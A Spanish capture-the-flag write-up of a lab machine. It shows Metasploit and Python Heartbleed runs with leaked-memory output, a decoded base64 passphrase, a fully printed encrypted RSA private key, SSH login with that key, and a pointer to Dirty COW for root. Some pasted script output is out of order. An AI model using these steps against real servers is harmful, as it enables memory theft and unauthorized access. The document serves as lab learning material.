Ok, esta es mi segunda live box. No podré publicar lo que encuentre pero hoy es 1/06/2018
1 Probe
Tiene al menos 3 puertos abiertos y una foto gigante del logo de hearbleed, así que empezaremos por ahí mientras corre el scanner completo.
msf > search heartbleed Matching Modules ================ Name Disclosure Date Rank Description ---- --------------- ---- ----------- auxiliary/scanner/ssl/openssl_heartbleed 2014-04-07 normal OpenSSL Heartbeat (Heartbleed) Information Leak auxiliary/server/openssl_heartbeat_client_memory 2014-04-07 normal OpenSSL Heartbeat (Heartbleed) Client Memory Exposure msf > use auxiliary/scanner/ssl/openssl_heartbleed msf auxiliary(scanner/ssl/openssl_heartbleed) > set verbose true msf auxiliary(scanner/ssl/openssl_heartbleed) > set rhosts 10.10.10.79 rhosts => 10.10.10.79 msf auxiliary(scanner/ssl/openssl_heartbleed) > run [*] 10.10.10.79:443 - Sending Client Hello... [*] 10.10.10.79:443 - SSL record #1: [*] 10.10.10.79:443 - Type: 22 [*] 10.10.10.79:443 - Version: 0x0301 [*] 10.10.10.79:443 - Length: 86 [*] 10.10.10.79:443 - Handshake #1: [*] 10.10.10.79:443 - Length: 82 [*] 10.10.10.79:443 - Type: Server Hello (2) [*] 10.10.10.79:443 - Server Hello Version: 0x0301 [*] 10.10.10.79:443 - Server Hello random data: 5b1111ab60652a9faa0be765054eb03bf25d33ec27f293f4b271e24c9e1b7867 [*] 10.10.10.79:443 - Server Hello Session ID length: 32 [*] 10.10.10.79:443 - Server Hello Session ID: edbf2c68c56871b880ecacd0518c5f1eb5dbdf5266c964abef335b626967351f [*] 10.10.10.79:443 - SSL record #2: [*] 10.10.10.79:443 - Type: 22 [*] 10.10.10.79:443 - Version: 0x0301 [*] 10.10.10.79:443 - Length: 885 [*] 10.10.10.79:443 - Handshake #1: [*] 10.10.10.79:443 - Length: 881 [*] 10.10.10.79:443 - Type: Certificate Data (11) [*] 10.10.10.79:443 - Certificates length: 878 [*] 10.10.10.79:443 - Data length: 881 [*] 10.10.10.79:443 - Certificate #1: [*] 10.10.10.79:443 - Certificate #1: Length: 875 [*] 10.10.10.79:443 - Certificate #1: #<OpenSSL::X509::Certificate: subject=#<OpenSSL::X509::Name:0x00007f22a7cb1698>, issuer=#<OpenSSL::X509::Name:0x00007f22a7cb16c0>, serial=#<OpenSSL::BN:0x00007f22a7cb16e8>, not_before=2018-02-06 00:45:25 UTC, not_after=2019-02-06 00:45:25 UTC> [*] 10.10.10.79:443 - SSL record #3: [*] 10.10.10.79:443 - Type: 22 [*] 10.10.10.79:443 - Version: 0x0301 [*] 10.10.10.79:443 - Length: 331 [*] 10.10.10.79:443 - Handshake #1: [*] 10.10.10.79:443 - Length: 327 [*] 10.10.10.79:443 - Type: Server Key Exchange (12) [*] 10.10.10.79:443 - SSL record #4: [*] 10.10.10.79:443 - Type: 22 [*] 10.10.10.79:443 - Version: 0x0301 [*] 10.10.10.79:443 - Length: 4 [*] 10.10.10.79:443 - Handshake #1: [*] 10.10.10.79:443 - Length: 0 [*] 10.10.10.79:443 - Type: Server Hello Done (14) [*] 10.10.10.79:443 - Sending Heartbeat... [*] 10.10.10.79:443 - Heartbeat response, 65535 bytes [+] 10.10.10.79:443 - Heartbeat response with leak [*] 10.10.10.79:443 - Printable info leaked:
Para hacerlo sin MSF hay muchas formas, Una es con este github
0302, length = 885
... received message: type = 22, ver = 0302, length = 331
... received message: type = 22, ver = 0302, length = 4
Server TLS version was 1.2
Sending heartbeat request...
... received message: type = 24, ver = 0302, length = 16384
Received heartbeat response:root@Kali2:~/Desktop# python heartb.py -h
Usage: heartb.py server [options]
Test for SSL heartbeat vulnerability (CVE-2014-0160)
Options:
-h, --help show this help message and exit
-p PORT, --port=PORT TCP port to test (default: 443)
-n NUM, --num=NUM Number of heartbeats to send if vulnerable (defines
how much memory you get back) (default: 1)
-f FILE, --file=FILE Filename to write dumped memory too (default:
dump.bin)
-q, --quiet Do not display the memory dump
-s, --starttls Check STARTTLS (smtp only right now)
root@Kali2:~/Desktop# python heartb.py -n 10 10.10.10.79
Scanning 10.10.10.79 on port 443
Connecting...
Sending Client Hello...
Waiting for Server Hello...
... received message: type = 22, ver = 0302, length = 66
... received message: type = 22, ver =
....
Esto se repite muchas veces.
b9597dc55b21a2759b480fb102f9999a
tenemos esto: aGVhcnRibGVlZGJlbGlldmV0aGVoeXBlCg== que es base 64 por los dos iguales y se traduce heartbleedbelievethehype
tenemos /var/www/decode.php, /var/www/index.php , /var/www/encode.php
con dirbuster encontre esto: http://10.10.10.79/dev/
dev tiene 2 cosas
1
To do: 1) Coffee. 2) Research. 3) Fix decoder/encoder before going live. 4) Make sure encoding/decoding is only done client-side. 5) Don't use the decoder/encoder until any of this is done. 6) Find a better way to take notes.
2
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el de arriba convertido a texto en cualquier página por ejemplo http://www.unit-conversion.info/texttools/hexadecimal/
te da esto:
-----BEGIN RSA PRIVATE KEY----- Proc-Type: 4,ENCRYPTED DEK-Info: AES-128-CBC,AEB88C140F69BF2074788DE24AE48D46 DbPrO78kegNuk1DAqlAN5jbjXv0PPsog3jdbMFS8iE9p3UOL0lF0xf7PzmrkDa8R 5y/b46+9nEpCMfTPhNuJRcW2U2gJcOFH+9RJDBC5UJMUS1/gjB/7/My00Mwx+aI6 0EI0SbOYUAV1W4EV7m96QsZjrwJvnjVafm6VsKaTPBHpugcASvMqz76W6abRZeXi Ebw66hjFmAu4AzqcM/kigNRFPYuNiXrXs1w/deLCqCJ+Ea1T8zlas6fcmhM8A+8P OXBKNe6l17hKaT6wFnp5eXOaUIHvHnvO6ScHVWRrZ70fcpcpimL1w13Tgdd2AiGd pHLJpYUII5PuO6x+LS8n1r/GWMqSOEimNRD1j/59/4u3ROrTCKeo9DsTRqs2k1SH QdWwFwaXbYyT1uxAMSl5Hq9OD5HJ8G0R6JI5RvCNUQjwx0FITjjMjnLIpxjvfq+E p0gD0UcylKm6rCZqacwnSddHW8W3LxJmCxdxW5lt5dPjAkBYRUnl91ESCiD4Z+uC Ol6jLFD2kaOLfuyee0fYCb7GTqOe7EmMB3fGIwSdW8OC8NWTkwpjc0ELblUa6ulO t9grSosRTCsZd14OPts4bLspKxMMOsgnKloXvnlPOSwSpWy9Wp6y8XX8+F40rxl5 XqhDUBhyk1C3YPOiDuPOnMXaIpe1dgb0NdD1M9ZQSNULw1DHCGPP4JSSxX7BWdDK aAnWJvFglA4oFBBVA8uAPMfV2XFQnjwUT5bPLC65tFstoRtTZ1uSruai27kxTnLQ +wQ87lMadds1GQNeGsKSf8R/rsRKeeKcilDePCjeaLqtqxnhNoFtg0Mxt6r2gb1E AloQ6jg5Tbj5J7quYXZPylBljNp9GVpinPc3KpHttvgbptfiWEEsZYn5yZPhUr9Q r08pkOxArXE2dj7eX+bq65635OJ6TqHbAlTQ1Rs9PulrS7K4SLX7nY89/RZ5oSQe 2VWRyTZ1FfngJSsv9+Mfvz341lbzOIWmk7WfEcWcHc16n9V0IbSNALnjThvEcPky e1BsfSbsf9FguUZkgHAnnfRKkGVG1OVyuwc/LVjmbhZzKwLhaZRNd8HEM86fNojP 09nVjTaYtWUXk0Si1W02wbu1NzL+1Tg9IpNyISFCFYjSqiyG+WU7IwK3YU5kp3CC dYScz63Q2pQafxfSbuv4CMnNpdirVKEo5nRRfK/iaL3X1R3DxV8eSYFKFL6pqpuX cY5YZJGAp+JxsnIQ9CFyxIt92frXznsjhlYa8svbVNNfk/9fyX6op24rL2DyESpY pnsukBCFBkZHWNNyeN7b5GhTVCodHhzHVFehTuBrp+VuPqaqDvMCVe1DZCb4MjAj Mslf+9xK+TXEL3icmIOBRdPyw6e/JlQlVRlmShFpI8eb/8VsTyJSe+b853zuV2qL suLaBMxYKm3+zEDIDveKPNaaWZgEcqxylCC/wUyUXlMJ50Nw6JNVMM8LeCii3OEW l0ln9L1b/NXpHjGa8WHHTjoIilB5qNUyywSeTBF2awRlXH9BrkZG4Fc4gdmW/IzT RUgZkbMQZNIIfzj1QuilRVBm/F76Y/YMrmnM9k/1xSGIskwCUQ+95CGHJE8MkhD3 -----END RSA PRIVATE KEY-----
luego intenre muchas veces con muchos usuarios y entro con este:
root@kali:~/Desktop# chmod 600 key.txt root@kali:~/Desktop# ssh -i key.txt [email protected] Enter passphrase for key 'key.txt': Welcome to Ubuntu 12.04 LTS (GNU/Linux 3.2.0-23-generic x86_64)
ubuntu 12 es dirtycow 🙂
Asi que solo sigan estos dos posts
24.73% towards Hacker 🙂
